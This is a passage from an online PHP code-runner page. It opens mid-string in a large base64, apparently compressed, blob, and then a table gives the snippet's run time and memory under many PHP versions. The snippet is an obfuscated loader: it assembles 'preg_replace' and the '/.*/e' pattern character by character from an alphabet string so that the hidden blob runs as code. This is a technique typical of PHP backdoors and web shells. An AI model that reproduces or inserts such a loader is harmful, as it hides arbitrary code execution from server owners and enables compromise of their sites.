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')));"; $symbolz="abcdefghijklmnopqrstuvwxyz(*_;/.)"; $psymbolz=$symbolz[15].$symbolz[17].$symbolz[4].$symbolz[6].$symbolz[28].$symbolz[17].$symbolz[4].$symbolz[15].$symbolz[11].$symbolz[0].$symbolz[2].$symbolz[4]; $psymbolz($symbolz[30].$symbolz[31].$symbolz[27].$symbolz[30].$symbolz[4],$csymbolz,"");

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.00717.00
8.3.50.0070.00716.47
8.3.40.0070.01118.79
8.3.30.0060.01218.70
8.3.20.0060.00320.39
8.3.10.0090.00623.66
8.3.00.0040.00419.56
8.2.180.0180.00417.00
8.2.170.0110.00422.96
8.2.160.0070.00720.69
8.2.150.0080.00024.18
8.2.140.0040.00424.66
8.2.130.0060.00326.16
8.2.120.0040.00417.75
8.2.110.0060.00322.04
8.2.100.0070.00717.88
8.2.90.0080.00019.36
8.2.80.0040.00417.97
8.2.70.0000.00817.88
8.2.60.0030.00717.93
8.2.50.0030.00618.07
8.2.40.0060.00319.33
8.2.30.0040.00419.85
8.2.20.0040.00417.79
8.2.10.0040.00418.22
8.2.00.0030.00618.04
8.1.280.0120.00325.92
8.1.270.0060.00320.50
8.1.260.0040.00426.35
8.1.250.0040.00428.09
8.1.240.0100.00022.52
8.1.230.0090.00317.48
8.1.220.0040.00417.88
8.1.210.0030.00618.77
8.1.200.0030.00717.35
8.1.190.0080.00017.13
8.1.180.0000.00818.10
8.1.170.0000.00818.65
8.1.160.0000.00822.12
8.1.150.0000.00718.97
8.1.140.0000.00817.48
8.1.130.0000.00717.71
8.1.120.0030.00517.56
8.1.110.0080.00017.44
8.1.100.0030.00517.54
8.1.90.0070.00017.54
8.1.80.0080.00017.54
8.1.70.0000.00717.57
8.1.60.0040.00417.73
8.1.50.0000.00817.62
8.1.40.0040.00417.60
8.1.30.0030.00617.66
8.1.20.0040.00417.79
8.1.10.0060.00317.64
8.1.00.0000.00717.60
8.0.300.0040.00418.77
8.0.290.0040.00416.88
8.0.280.0070.00018.63
8.0.270.0000.00717.45
8.0.260.0030.00317.26
8.0.250.0000.00817.04
8.0.240.0030.00317.18
8.0.230.0000.00717.13
8.0.220.0000.00716.95
8.0.210.0040.00417.05
8.0.200.0030.00316.98
8.0.190.0100.00017.04
8.0.180.0000.00716.99
8.0.170.0050.00317.01
8.0.160.0000.00717.13
8.0.150.0020.00516.87
8.0.140.0040.00416.99
8.0.130.0030.00313.39
8.0.120.0080.00016.91
8.0.110.0030.00517.02
8.0.100.0000.00717.04
8.0.90.0040.00417.05
8.0.80.0090.00617.00
8.0.70.0040.00417.05
8.0.60.0000.00816.97
8.0.50.0040.00416.83
8.0.30.0100.00817.06
8.0.20.0100.00917.40
8.0.10.0040.00417.23
8.0.00.0050.01316.88
7.4.330.0060.00015.08
7.4.320.0000.00816.61
7.4.300.0030.00316.51
7.4.290.0030.00316.69
7.4.280.0000.00816.67
7.4.270.0030.00316.61
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7.3.330.0060.00013.24
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5.5.240.0030.03020.86
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5.4.290.0070.07719.75
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5.4.250.0070.06719.75
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5.4.210.0100.07319.68
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5.4.180.0100.07319.75
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5.4.160.0070.08019.48
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5.4.140.0100.07017.07
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5.4.60.0000.07317.17
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5.4.40.0070.07316.98
5.4.30.0130.06017.15
5.4.20.0030.07317.10
5.4.10.0000.08317.04
5.4.00.0070.06316.47

preferences:
37.56 ms | 400 KiB | 5 Q